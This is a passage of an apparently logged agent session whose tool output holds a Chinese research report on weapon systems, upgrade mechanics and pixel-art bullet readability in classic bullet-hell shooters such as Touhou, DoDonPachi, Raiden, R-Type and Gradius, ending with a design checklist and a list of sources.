**闪烁**:两帧交替(闪白/闪亮)提升存在感与\"危险感\";但对比过强会让高速移动的子弹难追踪——需要在\"醒目\"与\"可追踪\"之间平衡。\n- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹\"活着\"。\n\n### 4.2 射击特效(muzzle flash、尾迹)\n\n- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。\n- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现\"制导\"性质;激光可加**束起点光晕**与**目标命中火花**。\n- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气\"快速膨胀、渐凉减速\"的物理节奏是让爆炸可信的关键。\n- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。\n\n### 4.3 不同武器类型的视觉区分度\n\n| 武器 | 视觉语言 | 举例 |\n|---|---|---|\n| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |\n| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |\n| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |\n| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |\n| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |\n| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |\n\n### 4.4 屏幕内大量子弹的辨识度设计\n\n- **敌弹颜色编码**:用颜色区分\"快弹/慢弹/装饰弹\"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。\n- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——\"视觉大、判定小\"是弹幕公平性的核心。\n- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。\n- **弹幕\"缝隙设计\"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——\"玩家能看见可通行路径即为公平\",装饰性子弹可以用低饱和/半透明表示\"无威胁\"。\n- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家\"读\"弹幕密度。\n- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。\n\n---\n\n## 5. 像素 STG 武器视觉设计建议(落地清单)\n\n面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:\n\n### A. 武器体系骨架\n1. **每种武器 = 一种\"火力形态\"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。\n2. **火力等级可视化**:每级变化做成\"子机数量 / 弹丸数 / 散布角 / 光束宽度\"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。\n3. **掉落同系升级(或 P 通用)**:可选雷电\"同色道具才升级\"(策略取舍)或东方\"P 通用道具\"(上手简单),建议新手向用后者。\n4. **炸弹做成\"有名有相\"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上\"一键清屏\"结果必须一帧可见。\n5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造\"成长风险\"。\n\n### B. 子弹与特效像素规范\n6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。\n7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。\n8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。\n9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一\"视觉 > 判定\"原则。\n10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。\n11. **尾迹只给\"需要读懂速度/轨迹\"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。\n\n### C. 屏幕可读性指标\n12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。\n13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。\n14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。\n\n---\n\n## 6. 参考资料\n\n以下为本报告主要信息来源(按主题归类):\n\n1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)\n2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)\n3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页\n4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)\n5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式\n6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则\n7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级\n8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹\n9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系\n10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制\n\n---\n\n*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*\n```", "timestamp": "2026-08-23T12:32:53.803921", "message_id": "msg_1a104c82c8a847a58cf47dccf07acd49", "metadata": {"tool_payload": {"success": true, "type": "read", "path": "research/weapon_system/weapon_research.md", "encoding": "utf-8", "max_chars": 50000, "truncated": false, "content": "# 经典弹幕射击游戏(STG)武器系统调研报告\n\n> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现\n> 调研日期:2026-08-23\n> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」\n\n---\n\n## 目录\n\n1. [概述](#1-概述)\n2. [玩家武器类型分类](#2-玩家武器类型分类)\n3. [武器升级系统](#3-武器升级系统)\n4. [像素风格表现](#4-像素风格表现)\n5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)\n6. [参考资料](#6-参考资料)\n\n---\n\n## 1. 概述\n\n弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:\n\n1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;\n2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;\n3. **视觉语言**:武器是玩家在屏幕上\"属于自己\"的元素,必须与敌弹、背景清晰区分。\n\n本报告以三条经典主线为调研对象:\n\n- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)\n- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)\n- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)\n- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充\n\n> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于\"散布型弹幕\"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。\n\n---\n\n## 2. 玩家武器类型分类\n\n### 2.1 散弹(Spread Shot)\n\n**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |\n| 怒首领蜂 | **Shot(点按 A 键)** | 标准\"spread\"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |\n| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |\n| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是\"散布型弹幕\"最经典的视觉形态之一 |\n\n**设计要点**:散弹的关键是\"扇面角度 + 弹丸数量 + 弹丸间距\"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到\"火力变强了\"。\n\n---\n\n### 2.2 集中射击(Focus Shot)\n\n**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从\"散开\"变为\"一束\" |\n| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把\"集中\"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |\n| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |\n\n**设计要点**:集中射击通常与\"低速/精确操控\"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示\"伤害集中\"。\n\n---\n\n### 2.3 激光 / 光束武器(Laser)\n\n**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |\n| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |\n| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有\"非指向性激光\"(按住时发射贯穿激光) |\n\n**设计要点**:\n- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;\n- 激光与\"机体周围光环\"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示(\"你现在是激光模式\");\n- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。\n\n---\n\n### 2.4 追踪弹 / 制导武器(Homing)\n\n**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |\n| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |\n| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |\n\n**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的\"转弯/锁定\"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的\"引导火\"。\n\n---\n\n### 2.5 近战 / 环绕武器(Orbit / Force / Option)\n\n**定义**:不(仅)发射弹丸,而是以\"挂在自机上的物体\"进行接触伤害、挡子弹,或跟随自机复制射击。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |\n| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |\n| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |\n| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |\n\n**设计要点**:环绕武器是最能体现\"火力等级\"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。\n\n---\n\n### 2.6 蓄力射击(Charge Shot)\n\n**定义**:按住射击键充能,松开时释放一发大威力\"蓄力弹\"。蓄力时间越长威力越大,通常带穿透/范围效果。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |\n| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近\"强化爆气\"而非单体蓄力弹,见 3.5) |\n\n**设计要点**:\n- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;\n- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化\"这一发很重\"的感觉。\n\n---\n\n### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)\n\n**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家\"资源管理\"的核心。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |\n| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |\n| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |\n| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |\n\n**设计要点**:\n- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让\"屏幕瞬间被清理\"的结果可视化;\n- 东方把炸弹做成\"符卡\"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);\n- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。\n\n---\n\n## 3. 武器升级系统\n\n### 3.1 道具拾取升级(P 道具 / Power-Up)\n\n几乎所有经典 STG 都用\"拾取掉落道具→火力升级\"的模式,区别在道具形态与上限设计:\n\n| 游戏 | 道具 | 升级机制 |\n|---|---|---|\n| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |\n| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |\n| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |\n\n**设计要点**:\n- **同类拾取才升级**(雷电)制造\"专注一系武器\"的策略取舍;\n- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以\"捡回\"部分火力,是容错设计;\n- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。\n\n### 3.2 多级别火力变化\n\n- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是\"逐级可读\"的经典范例。\n- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。\n- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。\n\n**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。\n\n### 3.3 武器切换机制\n\n| 游戏 | 切换方式 | 说明 |\n|---|---|---|\n| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示\"散弹/集中\"两种形态,一按即切换 |\n| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是\"模式选择\"的鼻祖 |\n| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |\n| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——\"选择顺序\"本身就是策略 |\n| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |\n\n**设计要点**:\n- 武器切换要么做成\"一键瞬切\"(东方 Shift、怒首领蜂按住),要么做成\"有成本的选择\"(雷电道具、Gradius 升级条);\n- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。\n\n### 3.4 东方 Project 的 Power 系统\n\n- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。\n- 表现载体变化:永夜抄以前\"本体射出的子弹变多\";风神录以后改为\"增加射出的子机(Option)\"——**火力可视化**。\n- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成\"用资源换保命\"的抉择。\n- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。\n\n### 3.5 怒首领蜂的强化系统\n\n1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。\n2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。\n3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:\n - 全场敌弹消除 + 短暂无敌(80/120 帧);\n - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);\n - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;\n - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。\n - 这是\"用强化换难度\"的经典设计——高回报高风险。\n\n**设计要点**:怒首领蜂证明\"武器强化\"可以和\"游戏难度自适应(Rank)\"挂钩,让强力火力本身成为平衡杠杆。\n\n---\n\n## 4. 像素风格表现\n\n### 4.1 子弹的像素美术设计(大小、形状、颜色)\n\n综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:\n\n- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。\n- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。\n- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。\n- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。\n- **闪烁**:两帧交替(闪白/闪亮)提升存在感与\"危险感\";但对比过强会让高速移动的子弹难追踪——需要在\"醒目\"与\"可追踪\"之间平衡。\n- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹\"活着\"。\n\n### 4.2 射击特效(muzzle flash、尾迹)\n\n- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。\n- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现\"制导\"性质;激光可加**束起点光晕**与**目标命中火花**。\n- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气\"快速膨胀、渐凉减速\"的物理节奏是让爆炸可信的关键。\n- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。\n\n### 4.3 不同武器类型的视觉区分度\n\n| 武器 | 视觉语言 | 举例 |\n|---|---|---|\n| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |\n| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |\n| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |\n| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |\n| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |\n| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |\n\n### 4.4 屏幕内大量子弹的辨识度设计\n\n- **敌弹颜色编码**:用颜色区分\"快弹/慢弹/装饰弹\"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。\n- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——\"视觉大、判定小\"是弹幕公平性的核心。\n- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。\n- **弹幕\"缝隙设计\"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——\"玩家能看见可通行路径即为公平\",装饰性子弹可以用低饱和/半透明表示\"无威胁\"。\n- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家\"读\"弹幕密度。\n- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。\n\n---\n\n## 5. 像素 STG 武器视觉设计建议(落地清单)\n\n面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:\n\n### A. 武器体系骨架\n1. **每种武器 = 一种\"火力形态\"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。\n2. **火力等级可视化**:每级变化做成\"子机数量 / 弹丸数 / 散布角 / 光束宽度\"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。\n3. **掉落同系升级(或 P 通用)**:可选雷电\"同色道具才升级\"(策略取舍)或东方\"P 通用道具\"(上手简单),建议新手向用后者。\n4. **炸弹做成\"有名有相\"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上\"一键清屏\"结果必须一帧可见。\n5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造\"成长风险\"。\n\n### B. 子弹与特效像素规范\n6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。\n7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。\n8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。\n9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一\"视觉 > 判定\"原则。\n10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。\n11. **尾迹只给\"需要读懂速度/轨迹\"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。\n\n### C. 屏幕可读性指标\n12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。\n13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。\n14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。\n\n---\n\n## 6. 参考资料\n\n以下为本报告主要信息来源(按主题归类):\n\n1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)\n2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)\n3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页\n4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)\n5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式\n6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则\n7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级\n8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹\n9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系\n10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制\n\n---\n\n*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*", "line_start": 1, "line_end": 295, "total_lines": 295, "file_size": 